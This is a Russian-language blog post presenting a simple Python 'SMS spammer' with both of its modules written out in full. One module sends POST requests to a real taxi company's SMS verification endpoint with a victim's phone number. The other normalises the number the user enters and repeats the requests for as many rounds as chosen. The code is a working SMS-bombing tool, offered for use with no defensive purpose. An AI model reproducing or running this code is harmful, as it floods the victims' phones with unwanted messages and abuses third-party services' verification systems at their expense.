July 26, 2020

Смс спамер на Python

На написание этого спамера, у меня ушло меньше дня. Скажу честно, я руководствовался уже написанными спамерами. Но делал я это лишь с той целью, чтобы не тратить время на поиск сервисов.

В итоге получилось так, что я реализовал лишь способ отправки пост запросов и скрипт обработки номера. То есть, сам проект получился очень простой и малозатратный по времени (хотя он ещё не закончен, я планировал добавить интерфейс).

Я поделил весь код на 2 модуля. В первом прописаны запросы на все сервисы и помещены в отдельную функцию. Я назвал его Service.py выглядит он так (для примера, написал запрос только на один сервис, остальной код в исходнике проекта)

#Импортируем библиотеки
import requests
import time

#Для удобства создаем функцию
def spam(phone, phone9):
    
    #Поместим запрос в блок try, except, чтобы скрипт продолжил работать, если сервис выдаст ошибку
    try:
        requests.post("https://moscow.rutaxi.ru/ajax_keycode.html", data={"l": phone9}).json()["res"] #Создаем пост запрос на сервис
        print('Сообщение отправлено!') #В случае если код сработал, выведет это
    except:
        print('Сообщение не отправлено.') #В случае если код не сработал, выведет это
    

А во втором модуле прописана логика (если это можно так назвать) спамера.

#Импортируем модуль с запросами
import Services

#Лого чисто по приколу
print('''
 _______________________
|			|
|			|
|      SMS  SPAMER 	|
|	by f0scor 	|
|			|
|_______________________|
''')

#Запрос на ввод телефона
phone = str(input('Введите номер телефона: '))

#Приводим полученный номер к единому стандарту
if phone[0] == '+':
	phone = phone[1:]
if phone[0] == '8':
	phone = '7' + phone[1:]
if phone[0] == '9':
	phone = '7' + phone[1:]
	
#Это лишь для некоторых сервисов, где нужен номер без первых цифр (без +7 и 8)
phone9 = phone[1:]

#Тут указываем количество кругов (то есть, сколько раз нужно пройтись по одному сервису из списка)
lap = int(input('Количество кругов: '))

while lap > 0:
	Services.spam(phone, phone9) #Вызываем функцию пост запросов на сервисы
	lap -= 1 #Уменьшаем число кругов на 1 с каждым пробегом по циклу

В общем-то все, кода не много, написано просто.